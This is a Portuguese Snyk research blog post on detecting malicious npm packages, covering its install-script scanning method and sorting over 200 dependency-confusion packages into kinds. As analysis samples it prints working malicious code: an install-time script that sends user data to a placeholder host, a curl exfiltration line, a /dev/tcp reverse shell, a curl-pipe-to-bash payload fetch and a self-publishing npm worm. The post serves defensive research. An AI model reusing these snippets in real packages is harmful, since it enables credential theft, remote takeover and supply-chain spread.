Snyk encontra mais de 200 pacotes npm maliciosos, incluindo ataques de confusão de dependência Cobalt Strike

Escrito por:
Kirill Efimov
Kirill Efimov
wordpress-sync/feature-cobalt-strike

May 24, 2022

0 minutos de leitura

Recentemente, a Snyk encontrou mais de 200 pacotes maliciosos no registro de npm. Mesmo sabendo que a fadiga de vulnerabilidades é um problema para os desenvolvedores, este artigo não trata do caso típico de typosquatting ou de pacotes maliciosos aleatórios. Vamos relevar as descobertas de ataques direcionados a empresas e corporações que a Snyk conseguiu detectar e compartilhar os insights relacionados.

Neste post, em vez de explicar o que é confusão de dependência e por que isso tem um impacto importante no ecossistema de JavaScript (e no registro de npm, especificamente), vamos nos focar no tipo de abordagem que a Snyk usa e quais pacotes maliciosos conseguimos descobrir recentemente. Se você precisar de uma introdução à confusão de dependência e aos riscos que esse tipo de ataque representa, recomendamos ler Confusão de dependência: como eu invadi a Apple, Microsoft e dezenas de empresas (em inglês), de Alex Birsan, e a divulgação da Snyk de uma simulação flagrada de ataque de dependência.

Além disso, queremos falar sobre como os pesquisadores de recompensas por bugs e “red teamers” contribuem para um ecossistema npm poluído, criando falsos relatórios de segurança e tornando a situação ainda mais problemática do que era antes do surgimento dos vetores de ataques de confusão de dependência.

Recentemente, muitas empresas começaram a priorizar a segurança da cadeira de suprimentos, e grande parte desse esforço se refere à detecção de pacotes maliciosos. E não temos dúvidas de que o npm recebeu a maior parte da atenção. Internamente, tivemos muitas discussões sobre npm: será que podemos superar os outros fornecedores que publicam regularmente sobre pacotes maliciosos de baixo impacto? Decidimos tentar implementar uma abordagem simples para ver quantos pacotes maliciosos poderíamos detectar desse jeito. Em seguida, passamos por um longo processo de aperfeiçoamento dessa abordagem simples e, depois que o centésimo pacote malicioso foi adicionado ao Banco de Dados de Vulnerabilidades da Snyk, sabíamos que era preciso escrever um artigo a respeito. Mas antes, vamos ver como alguém encontra pacotes maliciosos em um registro como o npm.

Como encontrar pacotes maliciosos no registro npm

Em primeiro lugar, precisávamos definir o escopo e os objetivos da pesquisa de segurança:

  1. Só nos focamos na lógica maliciosa no ato da instalação. Por consequência, priorizamos apenas o que acontece durante npm install. Scripts maliciosos baseados em runtime estão fora do escopo e serão abordados em um estudo de caso futuro.

  2. A quantidade de sinais de falsos positivos deve ser gerenciável. Definimos isso de forma que um analista em segurança possa organizar todos os leads em até uma hora de trabalho.

  3. O coletor deve ser modular. Ele já havia evoluído várias vezes e continua a fazê-lo. Algumas técnicas de detecção foram adicionadas e algumas foram excluídas devido ao item 2.

  4. Como abordagem inicial, decidimos usar análises puramente estatísticas. Vamos abordar a parte dinâmica em outra publicação.

É importante definir o que é considerado comportamento malicioso. Por exemplo, abrir um shell reverso ou modificar arquivos fora da pasta do projeto é uma atividade maliciosa.

Mas também acreditamos que pacotes que extraem informações pessoalmente identificáveis (ou qualquer dado que contenha PII) podem ser considerados maliciosos. Por exemplo:

  • Um pacote que envia o GUID da máquina não é malicioso – o GUID não contém nenhum dado pessoal do usuário e geralmente é usado para contar o número de instalações únicas de um pacote.

  • Um pacote que envia o caminho da pasta do aplicativo é malicioso – os caminhos das pastas do aplicativo mostra o nome do usuário atual (que pode conter o nome e o sobrenome reais).

A estrutura do sistema associado consiste em:

  1. Lógica de extração (scraping) para recuperar informações sobre pacotes recém-alterados e adicionados.

  2. Lógica de marcação (tagging) para fornecer metadados razoáveis aos analistas em segurança.

  3. Lógica de ordenamento (sorting) para priorizar leads de pacotes maliciosos de acordo com a etapa anterior.

O resultado do sistema do coletor são arquivos YAML (atua como pontos de dados para leads), que são gerenciados por um analista em segurança e sinalizados como três opções possíveis:

  • Bom – pacotes sem suspeitas. São usados como exemplos de comportamento não malicioso.

  • Ruim – pacotes maliciosos.

  • Ignorado – pacotes que provavelmente não são maliciosos, mas o comportamento de tempo de instalação é muito comum ou muito complexo para usá-lo como padrão em casos futuros.

Reconhecimento do registro npm para recolher informações do pacote

De acordo com o primeiro requisito estabelecido, precisamos gerenciar todos os pacotes novos e atualizados se eles tiverem scripts de tempo de instalação preinstallinstall ou postinstall.

O registro de npm usa CouchDB e o expõe de modo conveniente pelo replicate.npmjs.com para uso público. Dessa forma, o processo de recolhimento dos dados é tão simples quanto consultar o endpoint \_changes em ordem ascendente. Em especial,

1https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

permite obter uma lista de pacotes criados e atualizados a partir do ID de evento recebido da execução anterior do coletor.

Além disso, usamos os endpoints https://registry.npmjs.org/ para recuperar metadados de cada pacote da lista e https://api.npmjs.org/downloads para obter o número de downloads de um pacote.

Uma parte da lógica de recolhimento é mais complicada: queremos extrair scripts de tempo de instalação do tarball de um pacote. Um tarball de pacote npm costuma ter menos de um megabyte, mas pode chegar à casa das centenas. Felizmente, os arquivos tar são estruturados de forma que nos permite implementar uma abordagem de streaming. Assim, só baixamos um arquivo do pacote até termos o arquivo desejado e depois interrompemos a conexão, poupando tempo e tráfego da rede. Para isso, usamos o pacote npm tar-stream. Esta é uma boa oportunidade para agradecer Mathias Buus, que tem feito grandes contribuições para o desenvolvimento de JavaScript e Node.js, além de manter muitos pacotes npm de código aberto que ajudam os desenvolvedores diariamente.

Marcação de pacotes maliciosos no registro npm

A esta altura, temos todos os metadados sobre o pacote: histórico de versões, nome do administrador, conteúdo dos scripts de tempo de instalação, dependências e mais. Agora podemos começar a aplicar as regras. Vou mostrar algumas das regras que, na minha experiência, são mais eficazes:

  • bigVersion – se a versão principal de um pacote for igual ou maior que 90. No dependency confusion attack, um pacote malicioso a ser baixado deve ter uma versão superior à original. Como veremos daqui a pouco, os pacotes maliciosos costumam ter versões como 99.99.99.

  • yearNoUpdates – o pacote é atualizado pela primeira vez ao longo do ano. Isso exerce um papel crucial para determinar se um pacote não vinha sendo mantido nos últimos tempos e acabou sendo comprometido por um violador.

  • noGHTagLastVersion – nova versão de um pacote sem tag em um repositório correspondente do GitHub (ainda que a versão anterior tivesse). Isso funciona nos casos em que o usuário do npm foi comprometido, mas não o usuário do GitHub.

  • isSuspiciousFile – temos um conjunto de expressões regulares para detectar scripts de tempo de instalação possivelmente maliciosos. Elas trabalham para detectar técnicas de ocultamento, uso de domínios como canarytokens.com ou ngrok.io, indicação de endereço IP e outros.

  • isSuspiciousScript – um conjunto de expressões regulares para detectar scripts possivelmente maliciosos em um arquivo .json do pacote. Por exemplo, descobrimos que “postinstall: “node .” é frequentemente usado em pacotes maliciosos.

O sistema associado implementou mais tags, mas as regras acima servem como uma boa lista para você ter uma noção de como é a lógica do coletor.

Organizar os dados de pacotes npm

Gostaríamos de aplicar outras automações ao processo, em vez de revisões manuais de analistas em segurança. Se um script de tempo de instalação já foi classificado como bom ou ruim no passado, classificamos automaticamente os novos casos como bons ou ruins da mesma forma. Isso funciona principalmente para casos de comportamento não malicioso, como “postinstall”: “webpack” ou “postinstall”: “echo thanks for using please donate” e ajuda a reduzir os níveis de ruído.

Além disso, priorizamos determinadas tags para que sejam gerenciadas antes de outras porque oferecem uma melhor taxa de sinais verdadeiros positivos. Para fins de informação, isSuspiciousFile e isSuspiciousScript têm a prioridade mais alta.

Análise manual de segurança

A última etapa do processo de detecção é a análise manual. Ela também ocorre em vários estágios:

  1. Verificar automaticamente leads selecionados e de alta prioridade. Estes são provavelmente maliciosos. Analise individualmente os leads não organizados para detectar novas regras em casos de pacotes maliciosos e não maliciosos.

  2. Atualize a lógica do coletor de acordo com o item 2.

  3. Adicione cada pacote malicioso ao Banco de Dados de Vulnerabilidades da Snyk.

  4. Em alguns casos, como gxm-reference-web-auth-server, se um pacote parecer ter uma lógica maliciosa incomum, um analista levará mais tempo para inspecioná-lo em detalhes e compartilhar seus insights com a comunidade e os usuários da Snyk.

Esse fluxo nos permite aprimorar o coletor diariamente e automatizar o processo.

Quais pacotes maliciosos no npm conseguimos detectar?

Até hoje, o sistema já produziu resultados para mais de 200 pacotes npm que foram identificados como detecção de verdadeiro positivo e servem como uma ameaça viável de ataque de confusão de dependência. Queremos ampliar a categorização dessas descobertas e demonstrar vários comportamentos e conceitos que vêm sendo adotados pelos invasores.

Pacotes maliciosos que realizam extração de dados

Um dos tipos mais comuns de pacotes maliciosos é a extração de dados em solicitações HTTP ou DNS. Essa costuma ser uma versão copiada e modificada do script original usado na pesquisa em confusão de dependência. Às vezes, eles apresentam comentários do tipo “este pacote é usado para fins de pesquisa” ou “nenhum dado confidencial é obtido”, mas não se deixe enganar: eles capturam PII e as enviam pela rede, o que nunca deve acontecer.

Exemplo típico desse pacote de acordo com a descoberta da Snyk:

1const os = require("os");
2const dns = require("dns");
3const querystring = require("querystring");
4const https = require("https");
5const packageJSON = require("./package.json");
6const package = packageJSON.name;
7
8const trackingData = JSON.stringify({
9    p: package,
10    c: __dirname,
11    hd: os.homedir(),
12    hn: os.hostname(),
13    un: os.userInfo().username,
14    dns: dns.getServers(),
15    r: packageJSON ? packageJSON.___resolved : undefined,
16    v: packageJSON.version,
17    pjson: packageJSON,
18});
19
20var postData = querystring.stringify({
21    msg: trackingData,
22});
23
24var options = {
25    hostname: "<malicious host>", 
26    port: 443,
27    path: "/",
28    method: "POST",
29    headers: {
30        "Content-Type": "application/x-www-form-urlencoded",
31        "Content-Length": postData.length,
32    },
33};
34
35var req = https.request(options, (res) => {
36    res.on("data", (d) => {
37        process.stdout.write(d);
38    });
39});
40
41req.on("error", (e) => {
42    // console.error(e);
43});
44
45req.write(postData);
46req.end();

Já vimos tentativas de extração das seguintes informações (ordenadas da relativamente menos danosa à mais perigosa):

  • Nome do usuário atual

  • Caminho do diretório do usuário

  • Caminho do diretório do aplicativo

  • Lista de arquivos em várias pastas, como o diretório do usuário ou de funcionamento do aplicativo

  • Resultado do comando de sistema ifconfig

  • Arquivo package.json do aplicativo

  • Variáveis do ambiente

  • O arquivo .npmrc

Uma adição interessante a esse grupo de pacotes maliciosos é dos que têm o script install como npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Ele claramente extrai o caminho do diretório de cache do npm (que geralmente está na pasta do usuário atual), mas além disso instala um pacote a partir de uma fonte externa. Na nossa experiência, esse pacote obtido externamente sempre funciona como um pacote falso sem lógica ou arquivos, mas pode ter condições regionais ou de outra natureza no lado do servidor, ou ainda se tornar um minerador de cripto ou cavalo de troia depois de um certo tempo.

Em alguns casos, vimos indícios de scripts bash como:

1DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
2curl "https://<malicious host>/?q=$DETAILS"

O exemplo acima extrai informações de endereço IP público, nome do host e nome do usuário.

Pacotes maliciosos que geram um shell reverso

Outro tipo comum de pacotes maliciosos tenta gerar um shell reverso, o que significa que a máquina atingida se conecta a um servidor remoto controlado pelo invasor e permite que ele a controle remotamente. Esses ataques podem ser bastante simples:

1/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

Também podem ser implementações mais complexas que usam net.Socket ou outros métodos de conexão.

O maior desafio dessa categoria é que, embora a lógica pareça simples, o comportamento malicioso fica completamente oculto no lado do servidor do hacker. Dito isso, podemos ver o impacto: o hacker pode assumir o controle do computador onde o pacote malicioso foi instalado.

Decidimos executar um dos pacotes como esse em uma área restrita, e os comandos que registramos foram estes:

  1. nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& – baixar e executar script do servidor malicioso.

  2. O script baixado do servidor malicioso se adicionou ao diretório /tmp e começou a consultar a si mesmo a cada 10 segundos, aguardando atualizações do violador remoto.

  3. Após um determinado período, ele baixou um arquivo binário que, de acordo com o VirusTotal, é um cavalo de troia Cobalt Strike.

wordpress-sync/blog-cobalt-strike-1

Uso de cavalos de troia em pacotes npm maliciosos

Nesta categoria, temos vários pacotes que instalam e executam diferentes agentes de comando e controle. Este artigo não vai entrar em detalhes sobre esses pacotes, mas recomendamos a leitura de nosso artigo recente sobre engenharia reversa do pacote gxm-reference-web-auth-server. Apesar de explicar as descobertas de como hackers éticos realizaram a pesquisa ética de red team, o artigo serve como um bom exemplo do que existe nos pacotes dessa categoria de ataques maliciosos de confusão de dependência. Além disso, é um ótimo exemplo de como pegar um red team em ação.

Em outro caso interessante, verificamos chamadas do sistema da área restrita, e uma chamou nossa atenção: ela gerava um processo separado e executava uma chamada de espera por 30 minutos. Somente após esse período, ela iniciava sua atividade maliciosa.

Pegadinhas e protestos em pacotes npm

Em março, escrevemos uma publicação sobre pacotes de npm com protestware. Mas, além de protestware, observamos várias tentativas de abrir vídeos do YouTube ou impróprios e outros sites em navegadores, e até mesmo adicioná-lo como comando no arquivo .bashrc.

O código pode ser simples como open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> no script postinstall ou shell.exec(echo '\\nopen https://<NSFW website>' >> ~/.bashrc) em um arquivo JavaScript de tempo de instalação.

Outro exemplo possivelmente danoso de um pacote malicioso que identificamos durante esta investigação é um pacote que detecta se você tem um arquivo .npmrc e, se tiver, executa npm publish criando uma cópia própria em nome do usuário do npm. Como é possível ver, ele age como um worm e, em alguns casos, pode ser tornar uma ameaça real.

1const fs = require('fs')
2const faker = require('faker')
3const child_process = require('child_process')
4const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
5faker.company.bsNoun()).toLowerCase()
6let hasNpmRc = false
7const read = (p) => {
8  return fs.readFileSync(p).toString()
9}
10try {
11  const npmrcFile = read(process.env.HOME + '/.npmrc')
12  hasNpmRc = true
13} catch(err) {
14}
15if (hasNpmRc) {
16  console.log('Publishing new version of myself')
17  console.log('My new name', pkgName)
18  const pkgPath = __dirname + '/package.json'
19  const pkgJSON = JSON.parse(read(pkgPath))
20  pkgJSON.name = pkgName
21  fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
22  child_process.exec('npm publish')
23  console.log('DONE')
24}

Conclusões e recomendações

Na Snyk, trabalhamos diariamente para tornar os ecossistemas de softwares de código aberto mais seguros. Hoje, compartilhamos algumas variações de pacotes npm maliciosos. No entanto, essa lista com certeza não é definitiva. Nossa pesquisa mostrou que o ecossistema do npm é usado ativamente para realizar vários ataques de cadeia de suprimentos. Recomendamos o uso de ferramentas como a Snyk para proteger desenvolvedores e administradores, bem como aplicativos e projetos.

Se você é um caçador de bugs ou participante de um red team e precisa publicar um pacote npm para realizar atividades de reconhecimento, recomendamos que siga os termos de serviço e diretrizes legais do npm. Nesse caso, não extraia PII e defina explicitamente o propósito do pacote em comentários no código-fonte ou na descrição do pacote. Observamos alguns pacotes legítimos de pesquisa que estavam enviando identificadores únicos de máquina como node-machine-id.

Resumo dos pacotes afetados até o momento desta publicação

Vamos publicar a lista de pacotes que conseguimos detectar. Alguns, possivelmente a maioria, já foram excluídos do registro do npm, mas outros ainda existem na data de publicação desta pesquisa.

git-en-boite-core

@seller-ui/products

git-en-boite-app

insomnia-plugin-simple-hmac-auth

selenium-applitools

api-extractor-test-01

@tilliwilli/npm-lifecycles

vfdp-ui-framework

klook-node-framework

next-plugin-normal

klook-node-framework-affiliate

@iwcp/nebula-ui

klook-tetris-server

react-dom-router-old

klook-ui

react-dom-router-compatibility

logquery

node-hawk-search

@klooks/klook-node-framework

ual-content-page

schema-render

npm_test_nothing

tetris-scripts

lbc-git

klook-node-framework-language

angieslist-composed-components

klook-node-framework-country

angieslist-gulp-build-tasks

klook-node-framework-currency

onepassword_events_api

klook-node-framework-device

on-running-script-context

klook-node-framework-logger

okbirthday2015

klook-node-framework-site

oidc-frontend

klook-node-framework-experiment

nucleus-wallet

klook-node-framework-cache

videojs-vtt

executables.handler

@commercialsalesandmarketing/contact-search

tracer.node

cap-common-pages

state.aggregator

coldstone-helpers

rce-techroom

rainbow-bridge-testing

acronis-ui-kit

npm-exec-noperm

activity-iframe-sdk

npmbulabula

angieslist-visitor-app-common

nozbedesktop

uitk-react-rating

nodejs-email

ldtzstxwzpntxqn

plugin-welcome

gxm-reference-web-auth-server

polymer-shim-styles

lznfjbhurpjsqmr

lexical-website-new

npm_protect_pkg

paper-toolbar

com.unity.xr.oculus

paytm-kafka-rest

katt-util

phoenix.site

workspace-hoist-all

assets-common

qjwt

bolt-styles

bigid-permissions

phub-dl

@uc-maps/api.react

api-extractor-test-01

@uc-maps/test

adroit-websdk-client

@uc-maps/test1

f0-utils

@uc-maps/boundaries-core.react

@uc-maps/boundaries-core.react

@uc-maps/geospatial

elysium-ui

@uc-maps/layer-select.react

portail-web

@uc-maps/maps.react

postinstall-dummy

@uc-maps/parcel-shapes

threatresponse

wf_ajax

pratikyadavh2

wf_apn

cap-products

wf_storage

promoaline

wf_scheduler

promohline

bigid-filter-recursive-parser

promofline

bigid-query-object-serialization

promoimmo

yo-code-dependencies-versions

promohlineupselling

abchdefntofknacuifnt

promotemplate

generator-code-dependencies-versions

ptmproc

@visiology-public-utilities/language-utils

quick-app-guide

finco

razer-xdk

azure-linux-tools

epic-games-self-service-portal

com.unity.xr.oculus

pg-ng-popover

@uieng/messaging-api

pco_api

jptest1

lyft-avidl

pegjs-override-action

pegjs-override-action

jinghuan-jsb

stripe-connect-rocketrides

kntl-digital3

flake8-holvi

@sorare-marketplace/components

volgactf

fc-gotcha

mb-blog

com.unity.searcher

orangeonion.buildtools

sixt

gatsby-plugin-added-by-parent-theme

r3corda

gulp-browserify-thin

got-hacked

eslint-plugin-seller-ui-eslint-plugin

qweasdzxc

@seller-ui/settings

Patch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo Segment

Snyk é uma plataforma de segurança para desenvolvedores. Integrando-se diretamente a ferramentas de desenvolvimento, fluxos de trabalhos e pipelines de automação, a Snyk possibilita que as equipes encontrem, priorizem e corrijam mais facilmente vulnerabilidades em códigos, dependências, contêineres e infraestrutura como código. Com o suporte do melhor aplicativo do setor e inteligência em segurança, a Snyk coloca a experiência em segurança no kit de ferramentas de todo desenvolvedor.

Comece grátisAgende uma demonstração ao vivo